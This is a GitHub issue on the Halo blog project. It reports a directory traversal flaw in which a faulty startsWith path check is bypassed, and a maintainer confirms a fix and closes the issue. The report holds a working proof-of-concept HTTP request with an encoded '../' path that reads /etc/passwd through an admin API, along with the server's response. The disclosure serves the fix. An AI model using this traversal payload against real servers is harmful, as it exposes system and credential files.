New issue   Jump to bottom

An Arbitrary File reading vulnerability in the backend(bypass the Path check) #420

✓ Closed   ⊙ 5 tasks done   **any-how** opened this issue on Dec 11, 2019 · 1 comment

Assignees	👤
Labels	kind/bug

---

any-how commented on Dec 11, 2019

I am sure I have checked

☑ Halo User Guide Documentation
☑ Halo BBS
☑ Github Wiki
☑ Other Issues

I want to apply

☑ BUG feedback

In an interface that reads files in the background, a directory traversal check is performed on the input path parameter, but the startsWith function can be used to bypass it.

```
public static void checkDirectoryTraversal(@NonNull Path parentPath, @NonNull Path pathToCheck) {
    Assert.notNull(parentPath, "Parent path must not be null");
    Assert.notNull(pathToCheck, "Path to check must not be null");

    if(!pathToCheck.startsWith(parentPath.normalize())) {          }
}
```

So I can read any file using the following message

```
GET
/api/admin/themes/caicai_anatole/files/content?path=%2Froot%2F.halo%2Ftemplates%2Fthemes%2
Fanatole%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F/passwd HTTP/1.1
Host: 100.101.61.13:8090
Admin-Authorization: 19cfedbb4994443c8b3f7eebf9ef36b3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.120 Safari/537.36
Referer: http://100.101.61.13:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

```
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Headers: Content-Type,ADMIN-Authorization
Access-Control-Allow-Credentials: true
Content-Type: application/json
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Max-Age: 3600
Date: Tue, 10 Dec 2019 10:20:24 GMT
```

{"status":200,"message":"OK","devMessage":null,"data":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1
:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sb
in/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x
:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:1
0:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:
33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist
:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gna
ts Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
\nsystemd-timesync:x:100:102:systemd Time
Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network
Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd

```
GET /api/admin/themes/caicai_anatole/files/content?path=%2Froot%2F.halo%2Ftemplates%2Fthemes%2Fanatole%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F/passwd HTTP/1.1
Host: 100.101.61.13:8090
Admin-Authorization: 19cfedbb4994443c8b3f7eebf9ef36b3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Referer: http://100.101.61.13:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

✏ **any-how** changed the title ~~An Arbitrary File reading in the backend(bypass the Path check)~~ An Arbitrary File reading vulnerability in the backend(bypass the Path check) on Dec 11, 2019

🏷 **JohnNiang** added the kind/bug label on Dec 12, 2019

👤 **JohnNiang** self-assigned this on Dec 12, 2019

↗ **JohnNiang** referenced this issue on Dec 12, 2019

　　 Fix directory traversal vulnerability 💬   d59877a

JohnNiang commented on Dec 12, 2019   Member

I wrote this function inside incorrectly. And it had been fixed by d59877a .

JohnNiang closed this as completed on Dec 12, 2019

Assignees

JohnNiang

Labels

kind/bug

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants